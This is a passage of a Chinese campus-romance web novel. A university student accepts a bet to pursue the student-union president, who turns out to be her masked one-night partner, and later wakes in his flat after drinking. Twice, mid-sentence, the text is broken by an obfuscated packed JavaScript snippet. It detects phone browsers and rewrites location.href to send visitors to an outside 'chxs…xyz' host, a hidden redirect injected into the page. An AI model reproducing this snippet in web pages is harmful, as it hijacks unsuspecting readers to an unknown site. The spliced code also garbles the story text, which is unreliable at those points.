见柯愫澄已经在沙发上坐下,拿桌上的酒喝,陈弗凡道:“这事儿还用得着特意打听嘛,咱学校论坛都传疯了,还有当时表白全程的视频呢。” 柯愫澄没有逛论坛的习惯,但清楚的知道,复大论坛就是个巨大的菜市场,什么瓜都往里头塞,而像今天这种程度上的包熟瓜半个学校的人都抢着要吃。 陈弗凡话音刚落,黎荔忍不住开喷:“这事隔壁几所高校的都有所耳闻,有几个犯/贱的说要追你,看是不是如传闻那般难搞定。” 卡座里另一侧的男性友人突然问:“我看那小弟弟各方面条件还不错的样子,澄子姐没兴趣玩玩看?” 柯愫澄不喜欢这人说的这话,冷不丁斜了他一眼,直说:“人长得挺帅,就是皮肤黑了点,不是我的菜。” 陈弗凡打心底里好奇,毕竟跟柯愫澄认识有些年头了,她似乎对情爱这方面的事没兴趣,便趁此机会问出了口:“你到底喜欢什么样的?咱学校有几个男的能入你的眼?” 这话没有假,柯愫澄向来眼光高,主要是她自身条件好,家境优渥,生活富足,长相又极为妖艳,漂亮到带着攻击性,没人配得了她,也没人把得住她。 也就在这时,有人举手提议:“要不这样吧,咱下个赌注玩玩?” 话题还没完全展开,卡座里半数人都来了兴致,正互递眼神呢。 提议这人紧接着说:“咱学校学生会主席靳宥司,有兴趣追追看吗?据说他跟你一样难追,至今为止没有谈过恋爱,拒绝起人来还挺狠。”说着,有人递了张照片过来。 柯愫澄一只手里还握着酒杯,接过照片瞅了眼。 照片中,少年穿着附中校服,清瘦而挺拔。鹤立于人群,少年感与矜贵清冷感并存。 不知道为什么,在看到照片中这人后,柯愫澄莫名有种熟悉感,就那么一丁点儿。 她将这种感觉归为兴趣,又或是这人真就长到了自己的审美点上,她特爽快的应了下来:“行啊,追。” 察觉到柯愫澄话语间的玩味,朋友几个像是找着了什么乐趣似的,纷纷开始下注。 赌追得上和追不上的人数差不多,下注的金额有五十的,五百的,五千的,什么数的都有,陈弗凡出得最多,整整一个w,赌柯愫澄追得上。 而一旁的黎荔,还在想中午柯愫澄跟自己说的那件事,自然觉得柯愫澄大概率没太多精力去追靳主席,也因为靳主席这人真的蛮难搞定的,所以她想都不带想的,拿出五千赌追不上。 下注结束,大家伙儿很快玩起了别的,柯愫澄喝了一个多小时的酒就撤退了。 坐上回家的出租车,同组的男同学发消息来说,他俩被分配到了物理学一班当助理辅导员。 柯愫澄这会儿头晕得厉害,还没来得及就这条消息进行思考,紧接着对面又发来一条:【下午跟你表白那学弟就是物理学一班的,这下好了,你俩扯不清楚了,论坛又得炸。】 哦。 柯愫澄就这个反应。 她将手机塞裤兜,脑袋靠着椅背,闭目养神。 隔天周一,新生军训的第一天。 柯愫澄早早赶到学校,顶着烈阳,陪这群大一新生参加了开营仪式。 仪式结束,总教官给每一个连分配了一位教官,巧的是,柯愫澄所带的物理学一班的教官是贺融生。 随着台上总教官下达开训指令,各连教官来到连队前向新生们做自我介绍。 柯愫澄抱着胳膊站在队伍后边,看着贺融生这么一本正经的介绍自己,她莫名有些想笑。 这群小兔崽子现在还不知道,带他们的这位淡漠无情的教官,实际上是大他们一届的学长。 也就在这时,柯愫澄听到最后排的几个女同学偷摸着小声抱怨。 “完了,这教官看着好凶啊,但是他又好帅怎么办。” “就是就是,忍不住看,看了又害怕对上眼,他那双眼盯过来,我感觉我小命不保。” “你们没听说嘛,教官都是渣男,他这么帅的更是!玩弄刚成年的小姑娘有一套呢。” 不等她们再多说几句,前排的贺融生已经绕了过来,他准确无误的锁定了刚刚聊闲天的三个女同学,但他并没有把她们揪出来,只是一声不吭的站在她们的身后。 人脑袋后边没长眼睛,这种时刻恐怖的氛围更加强烈,就像头顶的火球,照射在地面,再一步步从脚底蔓延至全身,被热气笼罩包裹,心脏狂跳不止,再不出气人都要上西天了。 也就这么十秒钟不到,她们几个姑娘脸都吓白了。 贺融生威严响亮的声音在后方响起时,柯愫澄看到那几个姑娘微抖的身子。 “我的规矩,训练时不准交头接耳,被我发现的,一律拎出队伍,绕操场跑五圈,外加站军姿俩小时。”说完这话,他停顿了两秒,紧接着:“听懂了吗?” 全班同学齐声道:“听懂了!” 见这群新生们都还挺怕贺融生的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867537|159504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柯愫澄还有些奇怪,不知道是不是从小就和贺融生一块儿玩的缘故,柯愫澄真没觉得他凶,小时候还觉得他怪好欺负的,闹了他他也默不作声,是几个朋友里最好相处的,跟他在一块儿都生不起来气,因为他压根儿做不出让人生气的事儿。 收起视线,柯愫澄转身往阴凉处走。 临近正午,太阳跟个火球似的,照得让人头晕目眩,皮肤更是被灼烧一样,十分不舒服。 而此刻的阴凉休息区已经堆满了大三的学长学姐们,他们忍不住抱怨,抱怨没两句又开始讨论今天中午吃什么。 柯愫澄没有参与到他们的闲聊中,视线到处跑,看一会儿这个班的训练,又看别班的。 直到贺融生愤怒的声音再次响起,整个休息区的人,视线都不约而同的投了过去。 就看到贺融生怒目横眉道:“出列!叫什么名。” 不等大家伙儿寻找这人,一高个子男生就小跑出队伍,站到了贺融生对面:“报告教官!我叫周肆决!” 自我介绍刚结束,柯愫澄就感受到周遭投来的意味不明的目光。 她没理会,视线依旧停留在贺融生和周肆决那。 贺融生语气严肃:“站军姿期间东张西望个什么劲?现在是在军训,不是你看姑娘的时候。” 周肆决挺上道,被骂了就道歉,不嫌丢脸,声音还怪洪亮的:“对不起教官!我错了!” 见状,贺融生也没必要为难人家,只说:“第一次我不跟你计较,没有下次,归队!” “是!” 闹这么一出,现在整个新生圈的人都知道,大一风云人物周肆决喜欢大二学姐柯愫澄了,军训时还止不住的偷偷瞄人家,柯愫澄又刚巧是他们班的助理辅导员,这么相处仨礼拜,不处出感情就奇了怪。 这些乱七八糟的说法柯愫澄多多少少听了些,没别的想法,冷处理。 主要也没闲心去管人家喜不喜欢自己,她一天到晚忙得很,就连下注追人那事都没排上号。 毕竟没有确切的追人期限,柯愫澄也没打算这么快速的展开追求,连搭讪的招数她都还没想好。 日子就这么照旧过着,不知不觉间军训生活就过去一个礼拜,这期间柯愫澄处理了不少新生间的矛盾问题,也跟着教官查了几次寝,还有就是如母亲温随的意,顺利的进入了学生会,担任副主席一职,并跟秘书长谢津洲加上了好友。 加好友的当天晚上,谢津洲就告知隔天便是各个社团以及部门的招新面试,作为新上任的副主席,柯愫澄得参加。 没辙,上午盯完军训转头又赶到教学楼。 找到学生会招新面试的教室时,里头已经挤了不少人,都是学生会成员。 他们正肆无忌惮的议论,副主席一职怎么就落到柯愫澄头上去了。 有人大胆开麦:“你们还不知道啊,柯愫澄她妈跟新闻学院的书记有一腿,想要这个破职位,一句话的事儿。” 另一个女同学有一丝疑惑:“可是柯愫澄她爸妈不是没离婚吗,我看网上说的,还挺恩爱来着呢。” 人群中立马有人接话:“网上的东西你还相信啊,都是做戏给人看的,有一腿的意思就是出轨,懂不懂啊。” 自己爸妈的关系,以及温随的人品,柯愫澄最清楚不过,她恶心那些背地里说人闲话的人,有种就当着人面说,偷偷摸摸的,怪叫人瞧不起的。 她不解释,没必要,直接从教室前门走了进去,穿过人群来到最后一排座位坐下。 全程没一句话,没一个眼神,但却让这群嚼舌根的,尴尬到脸都胀得通红,纷纷找位置坐,装作忙碌的等待面试开始。 谢津洲匆匆忙忙赶到面试教室时,沉寂的氛围简直让人不寒而栗。 他有些懵,没摸清楚头脑,却也一眼就看到教室最后排的新任副主席。莫名觉得这位副主席的个人气场,跟临时有事没发准点参加招新面试的主席靳宥司,相差无几。 他收回视线,交代在场的各位:“面试马上就要开始,大家稍微笑一笑,别整那么严肃,咱们不是把人赶走,是请人加入。” 该说的说完了,招新面试也正式拉开帷幕。 随着一个接一个的新生进入教室做自我介绍,在场的学生会成员们注意力都集中在台上,没察觉到教室后门走进来个头戴棒球帽,穿着一身黑的人。 他在一开始就已经锁定一处空位,进入教室后没有丝毫犹豫的来到了最后排,坐了下来。 柯愫澄原本正专注的刷着短视频,察觉到旁边座位来了人,她只瞥了一眼,而后漫不经心的继续玩手机,似乎并不意外,又或者压根儿没看清楚这人长什么样。 见状,男人语调随意道:“不记得我是谁了?” 也就这么一句话,柯愫澄抬眸,表情有些诧异:“你哪位?” “三月二十八号晚上,霍斯顿总套,我俩见过的。” 不等柯愫澄过多回忆,他勾了下唇,意味深长地说:“你后腰上有颗痣。” 4. 骗子 几乎是靳宥司说完这句话的下一秒,柯愫澄脸色骤然一变,脑子里像是钻入了无数只蜜蜂,嗡嗡一阵响。 她下意识蹙眉,眼神中闪过一抹复杂的情绪,似乎在确认面前这人说的话是真是假,毕竟在此之前她从未想过,和靳宥司的第一次正式打交道居然会是在酒店的床上,还是在下注追人的半年之前。 如果她知道那晚那个戴着面具跟自己做的男人,就是学生会主席靳宥司,大概率也不会在前不久的好友聚会上,随随便便就应下那场赌.局。 柯愫澄承认当时看到靳宥司穿校服的那张照片时,是觉着很对胃口的,不管是长相还是神情姿态,那个调调都是自己感兴趣的。 加上挑战性这玩意儿,是个人都有,刚好闲着也是闲着,追追看呗。 可谁知道,靳宥司居然就是那晚的约.炮对象啊,事到如今想反悔也已经来不及,做都做了,应也应下了。 在两人对视的这十几秒钟时间里,最让柯愫澄想不明白的是,靳宥司是怎么确认自己就是那晚的约.炮对象,还有,他为什么会选择在这个时候戳破这层纸。 试想,如果他还有再约的想法,大可以在半年前就留下联系方式,没留就是没这个想法,既然没想法为什么又来挑破呢。 越想越觉得不对劲。 柯愫澄的表情虽已恢复如初,整个人看着淡淡的,好似并不在意面前这人说的那句,过于黏腻暧昧的话。但实际上她满脑子的事儿,嗡嗡声依旧持续。 不等她开口说些什么,靳宥司收回视线,姿态散漫地抄着兜从座位上站了起来。 柯愫澄的目光随即上移,看到靳宥司一副没睡醒的样儿,帽檐压得很低,几乎看不到眼睛,前不久那副吊儿郎当,又透着玩味的神情也已消失不见。 他踱步到教室最前排,往空位上一坐。 察觉到有人过来,学生会成员们不约而同的看了过去,又齐声喊道:“靳主席。” 此时台上还站着一位穿着军训服,做了一半自我介绍的大一新生。 靳宥司没想打断面试的进度,这次过来现场也只是身为学生会主席,例行参与一下活动。 他缓慢地掀起眼皮,语调很淡,对台上的新生说:“你继续。” 猝不及防对上一眼,小姑娘脸红了大半,愣是没能反应过来,两秒后才磕磕绊绊点头说话:“好,好的主席。” 而此时坐在教室后排的柯愫澄,思绪依旧停留在靳宥司说的那句话上,以及说那话时的神情姿态,不难看出和靳主席本人所呈现出来的人设形象,有些许出入。 也正因如此,她没法完全相信靳宥司的话。 随即点进微信,给黎荔发去消息:【我遇到了个骗子。】 对面回得很快,几乎是秒回:【啥??】 其实自打前不久柯愫澄说自己和一个脸都没看着的男人发生了一夜.情后,黎荔总觉得她和柯愫澄之间似乎形成了某种代沟,毕竟约就约嘛,戴着面具做又是什么新鲜玩法呢。 还有最重要的一点,也是黎荔无法相信的,柯愫澄居然会跟男人发生一夜.情?简直太不可思议。 所以当柯愫澄发来这条有些莫名其妙,让人感到特懵逼的消息时,黎荔脑子快炸了,尽可能的往最奇特的方向想象。 就看到聊天框上方一直显示,对方正在输入中的字样,消息却迟迟没有发送过来。 不是柯愫澄不想说清楚这事儿,是她真懵了,打了删删了打,好半天一句完整的话都没形成,不知道从哪开始讲,特复杂这事儿。 最终她也只发送出去三个字:【靳宥司。】 看到这个名字,黎荔的第一反应就是:【靳宥司咋了?追上来?】 这回没让人久等,消息弹出的速度极快:【我和他睡了。】 不出意料,黎荔敲了一堆问号过来:【?????】 柯愫澄解释:【半年前,就睡了。】 黎荔这姑娘脑子转得快啊,虽然此刻她依旧抱着疑惑的心理:【戴面具那个是他?】 柯愫澄又进行了一番打了删删了打,最后懒得说了:【回头见面了聊。】 发完这句,她又紧接着补充:【不过我觉得他是骗子。】 周肆决进教室时,一眼就注意到了最后排,戴着耳机低头看手机的柯愫澄,不知道她在干什么,手指一直在屏幕上敲敲打打,表情也有些奇怪,像是被什么棘手的事给难倒了。 跟着他一同进来的还有一位女生,有所不同的是,这位女生并没有穿军训服。 她刚跨进教室,视线便锁定在一处角落。 也就这么一眼,估摸着五秒钟左右,学生会成员们各个都跟吃到了什么惊天大瓜一样,连周肆决站台上开始做自我介绍了,他们几人还在那互递眼神。 小群里消息接连不断的弹出,有没给手机静音的,那个叮叮叮的声,此刻响起显得异常突兀。 靳宥司也在这时瞥过去一眼,明明看不出任何情绪,好似只是好奇哪儿有声响,但不知道为什么,学生会的成员们都不敢再有动作。 大概率因为他话少,又是这儿官最大的,哪怕平常交流起来他最随意,没架子,问他问题他也乐意跟人解答。 但气场这玩意儿,说不准的。 以至于这位被看的男同学,在跟靳宥司对上视线的下一秒,赶忙把手机调至静音。 谢津洲早察觉到异常,这会儿听到了声才往侧边瞥了一眼。他轻咳,语气不耐道:“说几遍了,重要场合手机调静音,再有声直接出去聊吧。” 在场的没一个人敢吱声,面上乖巧得很,实际桌子底下手指都敲冒烟了。 【柯愫澄走关系这事儿,做得太明显了点,你看丁欲倾那眼神,要不是柯愫澄抢了她副主席的位置,她会一气之下退出学生会嘛,可想而知俩美女不对付呢。】 【我就说嘛,肯定有意见的,要不然人家一进教室就往后头看,后面就坐了柯愫澄,能对付嘛,这不显而易见嘛。】 【我是说今天丁欲倾来凑什么热闹,合着来这儿会会这位靠关系夺位的人啊。】 【你们看靳主席那个样,怕不是也不喜欢新副主席。】 【那还用说嘛,靳主席和丁欲倾那什么关系啊,那叫青梅竹马,郎才女貌,门当户对。】 【会的词一次性全用光了,还真难为你了。】 …… 他们的聊天还在继续,台上周肆决的自我介绍已经结束,接下来轮到提问环节,要不是谢津洲再次轻咳提醒,他们六个人只怕会被靳宥司拎出去丢门外头。 得亏几人收放自如,表面跟没事人一样,依次向周肆决提出了问题。 周肆决准备工作做得十分充分,所有的问题都能快速答上来,面试官们很是满意。 主要他以为柯愫澄也会坐在提问的行列中,结果人只是过来凑个数,连头都没舍得抬。 面试结束,周肆决有些不舍的退出了教室,正想着要不从后门进去找柯愫澄唠几句,被一同出来的丁欲倾叫住。 她看了眼腕表时间,好心提醒道:“马上要开始下午的训练了,听人说你们连教官挺严厉的,还是别迟到了好,免得受罚。” 周肆决一想,也对啊,反正训练的时候柯愫澄肯定在,他就不信这个邪,日久生不了这个情,这姐姐他追定了。 面对丁欲倾的提醒,周肆决轻点头表示感谢:“知道了学姐,那我就先撤了。” 周肆决走后,学生会的招新面试差不多也进入了尾声,排在外面的新生零零碎碎没剩下几个,十五分钟不到就全面完可以收工了。 见学生会成员们边闲聊边收拾着手头上的东西,柯愫澄真是一刻都不愿再待下去,将手机揣兜里,起身走人。 才刚跨出两步,谢津洲连忙高声将人叫住:“哎副主席,你和主席俩人加个联系方式吧,后续安排工作联系起来也比较方便。” 说这话的间隙,靳宥司已经站起身。 他依旧手抄兜,似乎并没有要掏手机出来的打算,又或者在刚刚的面试过程中,他睡了一觉好的,这会儿还不算多清醒,可能连谢津洲说了些什么都不知道。 不管是哪种可能性,谢津洲已经开口了,学生会的成员们也都在这看着,柯愫澄没有明确的拒绝,但面上表情可以看得出她的不情愿,手伸进兜里掏了半天没把手机掏出来。 靳宥司也在这时瞥了对面人一眼,他的神色平静无波澜,目光在柯愫澄身上就停留了两秒不到。 收回视线后看着一旁的谢津洲说:“你有她联系方式就行了,私人号不加人。” 闻言,谢津洲心里一咯噔,他怎么就把这事给忘了呢,真是捅了好大个娄子,谁的面子都没顾得上啊,这不让人看笑话了嘛。 主要是他还真没想过在这种时候,靳宥司居然会拒绝加人美女的微信,毕竟学生会的几个八卦王都在场,怎么说也得给人留点面子吧,但这哥们好像从来不讲这些。 不给谢津洲圆场的机会,柯愫澄没一声招呼的直接转身走了。 既然不加联系方式,那也没必要杵在那。 说句心里话,拒绝加联系方式这事儿,柯愫澄倒也不意外,毕竟传闻中的那位很难追,至今为止没谈过恋爱,拒绝起人来还挺狠。 只不过,他真如传闻中说的那样难搞定吗,呵呵,很显然不是,就光说不抽烟不喝酒这一项,柯愫澄就可以站出来打假了。 别说,她还真想过这事,主要她特好奇,靳宥司是怎么做到让大家伙儿都觉得他是好人的?就因为长得奶?看着乖?简直放屁。 而被拒绝交换联系方式这事儿,柯愫澄不觉得丢了面子,加不加的,她没多在乎。前脚刚从教室后门离开,紧接着靳宥司也没一声招呼的抄着兜走人了。 学生会的成员们还在教室杵着呢,不由得互递眼神,哪怕那俩人已经走远,但他们依旧只敢小声议论,说些什么呢,说这俩人今后相处起来大概率不会那么轻松,谁也不对付,还都难搞定,说不准还会吵架呢。 人群中不知道是谁,在这时说了句:“遇到大美女了都不破例加个联系方式,靳主席挺牛逼的,这下真就不知道他喜欢什么样的姑娘咯。” 与此同时另一边,已经从教学楼出来的柯愫澄掐着点往操场去,到这会儿了连口饭都还没吃上,抱怨的话憋了一肚子。 陪着新生训练到快饭点,柯愫澄实在有些扛不住了,不说这天有多么炎热,就是她的胃到这个点也该闹了。 算起来她今天就吃了一顿,还是早上八点多吃的,是贺融生在食堂给带的生煎包,一份六个,柯愫澄嫌烫,天热吃这么个玩意儿,更是热得直冒汗,最后也就只吃了三个,中途除了水,再没沾别的东西。 见这会儿台上也没校领导盯着,柯愫澄抬手跟队伍前排的贺融生示意了一下,随后偷摸着撤退了。 从操场出来,黎荔的消息刚巧弹出,柯愫澄没一句废话,发过去一条语音:“你找家店,我要吃饭。” 半小时后,全黑机车停在了一家名MUNE幻师的餐厅门口。 正是饭点,店门口排队等叫号的人将这一整条道堵得水泄不通。 柯愫澄边摘头盔边在群里吱了声,没一会儿的功夫黎荔就出来了。 接上人,黎荔带着柯愫澄穿过人潮往店里走。 感受到凉爽的空调冷气环绕身体,柯愫澄整个人瞬间放松下来,下意识环顾四周,最先被进门左手边的大型吧台所吸引,其次是不远处的舞台,上面摆放着一台架子鼓。 来到位置坐下,桌对面的陈弗凡正翘着二郎腿,嘴里叼根烟抽。 柯愫澄看了没忍住,一脚踹在他小腿上,语气不耐道:“吃饭呢,抽什么烟,臭得死。” 猝不及防被踹上这么一脚,陈弗凡疼得咬牙,五官皱成一团。他边摸着伤到了的小腿,边抱怨:“烟不都这个味吗?哪有很臭啊。” 说完这话,他似乎还觉得不够,报复性的:“这店晚上八点后就餐厅变清吧了,到那时候一屋子抽烟的人,不熏死你。” 话语刚落,黎荔狠狠瞪了陈弗凡一眼,意思要他少说点话,别没事找事。 柯愫澄在这时吐槽了句:“我俩吃饭,你叫他来。” 黎荔知道柯愫澄不是真介意,这两人从小到大只要碰一块儿了就乐意怼对方一句,算是形成了某种习惯。 她只是说:“我还叫了贺融生那木头,只可惜军训期间他没空,九点半才下训,下训了还得去查寝,估摸着不会来了。” 柯愫澄知道,应了声,这个话题也就告一段落。 接下来的一个小时三人边吃边聊,等吃得差不多了,陈弗凡发现隔壁桌有个认识的朋友,麻溜跑人家那桌喝酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867538|159504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊天去了。 陈弗凡前脚刚走,后脚黎荔就看到不远处的一群人中有个不算认识的熟人。 她很是激动,用肩膀撞了下柯愫澄的肩膀,而后轻抬下巴示意快看:“我靠你炮.友怎么在那,你俩约上了?” 柯愫澄原本正处理俩新生之间的小矛盾,在听到黎荔的这句话后下意识抬起了头,顺着她的视线看过去,一眼便锁定目标人物。 他实在太引人注目,少年感与矜贵清冷感并存,丢人群里一眼就会被发现的存在。 然而柯愫澄却在看到那人后脱口而出:“瞎说什么。” 其实这算是黎荔的一种试探,毕竟此时此刻她都还没摸清楚,柯愫澄到底是怎么看待靳宥司的。 刚巧有服务员从这边经过,黎荔招手叫住他:“哎哥们,麻烦问一下,那边那个高个子的帅哥是谁啊。” 男服务员朝着黎荔示意的方向看过去,在看到众多员工中那位穿着一身黑的帅哥后:“他啊,他是我们店的老板。” 这是黎荔万万没想到的,她边点头边说:“原来是老板来的啊。” 说完这句,她又紧接着开口:“你们老板是不是经常被顾客要联系方式啊,长这么帅。” 这位男服务员还挺自来熟,有天他就聊,只差没坐下了:“那可不嘛,这里一半的顾客都是为了要到联系方式而来的,只不过啊咱老板眼光比天高,她们就别想咯,反正至今为止没人要到手过。” 闻言,黎荔目的差不多达成,她笑得贼:“没谈过恋爱啊,那你知不知道你们老板有没有别的什么癖好。” 男服务员没太听明白这话里的意思,反问:“什么癖好?什么方面的?” “比如约——” 不等黎荔把话说完,柯愫澄动作迅速的将人嘴捂得严严实实,并咬牙提醒:“差不多行了,人家的私生活,你问这么清楚干嘛。” 成功阻止了黎荔再讲些乱七八糟的话,柯愫澄礼貌跟男服务员说:“你忙你的去吧,别被老板抓到在偷懒。” 男服务员一走,柯愫澄放过黎荔。 这一松手啊,黎荔笑得更肆无忌惮,她撑着下巴,眼睛眨巴眨巴:“干嘛啊,帮你打听打听,看看人家干不干净。” 柯愫澄重新拿起手机处理问题:“爽快答应约.炮请求的,能有几个完全干净。” 黎荔一想也对:“那靳宥司在学校岂不是一直在伪装啊,立人设呢,得亏他长得乖,要不然谁信啊。” 柯愫澄没继续这话题往下接,忙得要死,也不知道现在的小年轻怎么这么多事儿。 等事情处理得差不多了,她也是真的累到了,于是二话不说,起身往吧台那的空位一坐,打算好好喝几杯。 刚坐下,正看桌上的酒单,一道低磁的男声在头顶响起:“听说你对我的私生活很感兴趣。” 闻言,柯愫澄稍抬眼睑,对上靳宥司那一双墨色眼眸。她表情从容淡定:“你听谁说的。” 靳宥司唇角泛起一丝玩味:“不是吗?不感兴趣吗?” 大概是没想到他会这么直接的反问,柯愫澄三秒钟后才抿唇假笑道:“抱歉哈,不太感兴趣。” 话都说到这份上了,也没必要继续聊下去。 靳宥司打开右侧水池的水龙头,把手洗干净,拿吧台上摆放的调酒工具:“想喝点什么?” 柯愫澄翻酒单的手一顿,有些意外的再次抬眸:“你会调酒?” “应该喝不死。”说着这话,靳宥司从众多洋酒中选了一瓶,拧开瓶盖。 柯愫澄这会儿还半信半疑,一副行吧看你装装b也成的表情,将酒单推到一旁,手撑着下巴:“那你随便给我来一杯吧。” 靳宥司一手拿酒瓶,一手捏着量酒器,将酒瓶里的酒倒入量酒器中,随后再将量酒器中的酒倒入装着冰块的玻璃杯中。 柯愫澄看得挺认真,视线不自觉落在靳宥司那双清瘦修长骨节分明的手上。 下意识想,这双漂亮的手只用来调酒似乎有点太可惜。 这么想着,她的视线缓缓上移,先看到的是他手腕处戴着的腕表,柯愫澄识货,知道这牌子的表没个六位数下不来。 认完表,目光最终停留在他的手臂。清晰的肌肉线条,以及微凸出的青筋很是性感。 不给柯愫澄遐想的空间,一杯粉蓝分层的不知酒被推到了她的面前。 柯愫澄拿起酒杯抿了一小口,细细品。入口微甜,咽下后喉咙有灼烫感,回味起来又有些微苦,喝第二口会比第一口更清甜一些,很爽口,整个口腔都是酒精带来的浓烈香甜味。 柯愫澄很喜欢这酒,三口喝完将空酒杯往靳宥司面前推了推:“这什么酒?叫什么名儿?” 靳宥司回答得快,就仨字:“没名字。” 话一出,柯愫澄肉眼可见地一滞,半天才问:“那我要是来你们店还想喝这杯酒,怎么点?” 靳宥司正用毛巾擦拭着他漂亮的手:“别的调酒师大概率不会调这款酒,你得找我点。” 黎荔过来吧台时,柯愫澄半个身子已经和桌面紧紧相贴。见此情景,她反应极其强烈,瞪向罪魁祸首:“你灌她酒了?” 靳宥司有些无辜:“她就喝了三杯。” 黎荔叹了口气,皱着眉解释道:“她喝醉了很难搞定的,而且她喝多了会酒精过敏,最主要的是她过敏了就跟发烧没区别。” 听到这句,靳宥司眉尾不经意一挑。 发烧啊,怪不得。 解释完,黎荔看着已经软成一滩泥的柯愫澄,实在没辙,在手机上叫了车。 车子快开到时,司机师傅打了个电话过来,说找不着地方。没办法,黎荔只能出去接。 她一走,柯愫澄突然支起脑袋,眼神迷离人都没看清:“我想吃蛋糕。” 吧台里的靳宥司愣了两秒,而后似笑非笑地说:“又想吃蛋糕了?” 柯愫澄有些懵,完全听不懂这人说的这话,不自觉皱起眉:“什么叫又?” 靳宥司没有回,边掏手机边问:“生日那天的蛋糕喜欢吃吗?” 柯愫澄现在没脑子,听到这话更懵,她都不认识对面这人:“你怎么知道我生日吃蛋糕了?” 听了对方的话,靳宥司缓慢掀起眼皮,静静凝视着她。 好一会儿,他情绪不明的开口:“你当真什么都不记得了?” 5. 解药 阳光透过白色纱帘照进房间,映在她侧脸。 柯愫澄缓缓醒来,思绪还沉浸在梦境中,直到意识逐渐清晰。 也就这么一瞬间,她猛地从床上坐了起来。环顾四周发现这里的一切都过于陌生,所在的这间卧室,装修风格类似于样板房,又或者酒店套房。 她尝试回想起昨夜发生的一切,脑中却一片空白。只隐约记得自己喝了好几杯度数略高的酒,喝完酒然后呢?难不成又随便找了个男人发生一夜.情?然后那个男的也被赶走了?或者自个走了,也不留下个联系方式什么的? 柯愫澄现在脑子很乱,一团浆糊,以至于都忘记自己还有任务在身,这个点她不应该在这里,而是陪着新生站在操场上晒太阳才对。 不等她过多回忆,房间外短暂的响起了一阵来电铃声。 察觉到外边有人在,柯愫澄刚要下床,下一秒房间的门就被推开,那个陌生又熟悉的男人就这样出现在眼前。 他穿着件无logo黑短袖,大概刚洗完澡,头发有些湿漉漉,水珠顺着脖颈往下滴,落在锁骨。不知道是眼花还是怎么着,柯愫澄隐约看见锁骨的位置有颗不大不小的草莓。 抬眸间,两人视线相撞。 靳宥司没往里走,抱着双臂倚在门框边,他语调散漫,饶有兴致的看着有些睡懵的柯愫澄:“醒了?” 闻言,柯愫澄下意识拧眉,说不上来什么感觉,只知道在看到对方是靳宥司后,有那么一瞬间庆幸自己不是被陌生男人绑了去。 虽然和面前这位算不上熟,好歹睡过了,对他有一定的了解,别的方面不敢说,炒菜做饭那点癖好还是清楚的。 庆幸之余,她还是问了嘴:“我俩做了?” 也就这么一句,靳宥司唇边浮起一抹笑容,说的话令人遐想:“你不知道?” 柯愫澄算是弄明白了,靳宥司这人说白了就是欠,说的话,做的事,立的人设,都透着一股吊儿郎当的痞劲,跟他所展现出来的人设,以及他的长相有很大的出入。 属于表面友善,背地里就是个不折不扣的混蛋,要不然也无法理解他提出的某些要求。 这么说起来,柯愫澄挺想不明白的。既然要立人设,为什么在自己面前不装了?难道不担心自己说出实情,给大家伙儿避雷? 看着面前这人眉梢轻挑,明明顶着张人畜无害的奶狗脸,却没个正形。 柯愫澄挺看不顺眼的,有些故意的说:“我怎么会知道,你蓄谋灌我酒,酒里放了什么你不清楚谁清楚。” 听了这话,靳宥司扯了下唇角,似笑非笑,看不出多余的情绪,他也并没有否认蓄谋灌酒一事,只是好心提醒:“时候不早了,再晚点过去学校可以直接去食堂吃饭了。” 柯愫澄这才反应过来,她还有要事在身,拿起床头柜上的手机一看,时间从09:59跳转到10:00。 她下意识骂了句艹。没想过一睡会睡到这个点,还跟人在这掰扯好半天,有这个时间都已经在去学校的路上了。 她没再磨蹭,快速下床去卫生间洗漱,这会儿靳宥司已经离开房间去了别处,柯愫澄没管,走人时也没看着他。 坐上出租车,柯愫澄才闲下来看手机,贺融生一共打了三通微信电话,时间从八点半到九点半,每隔半小时打一个,她愣是一个都没接着,看手机侧面才发现不知道什么时候误拨到了静音键。 她给贺融生回了个消息,告诉对面自己已经在去学校的路上了。 转头发现黎荔居然没有发来任何一条消息。 柯愫澄十分诧异,确认自己昨晚是和黎荔一块儿吃的饭,可为什么今早会出现在靳宥司房里,黎荔人去哪了? 她点进聊天框,打字:【我为什么会在靳宥司这儿?】 对面回得还挺快,接连来了好几条消息:【啊,我叫好车回来找你你人就不见了。】 【问吧台的哥们,他说你跟他们老板走了,我还以为你俩又看对眼了呢。】 柯愫澄无话可说:【我要被卖了,你都不会怀疑带我走的那男的。】 黎荔承认,靳宥司在外立的人设,以及他的长相太具有迷惑性,让人觉得他就是个顶顶的好人,又怎会做出伤天害理的事情呢。但现在看来柯愫澄对靳宥司印象一般。 黎荔立马转移话题,不承认自己心大这件事:【所以你俩昨晚那个没?】 柯愫澄从睡醒就开始想,想到现在依旧大脑一片空白,包括靳宥司锁骨处淡淡的红印,她都不确定是不是自己留下的。对昨晚的唯一感受就是,睡得实在太安稳,这是近半年来,睡得最好的一个晚上。 她回对面:【没印象,睡太死,今早闹钟都没给我叫醒。】 消息发送过去,柯愫澄再次陷入到不可置信的状态中。她不是没尝试过用灌酒的方式让自己睡个好觉,次次都以失败告终,唯有这次,直接喝懵了,人也睡饱了。 所以究竟是哪个环节出了差错,难不成靳宥司真的在酒里乱添加了什么东西?又或者说,失眠的矛头指向靳宥司,摆脱这一麻烦的解药也是靳宥司不成? 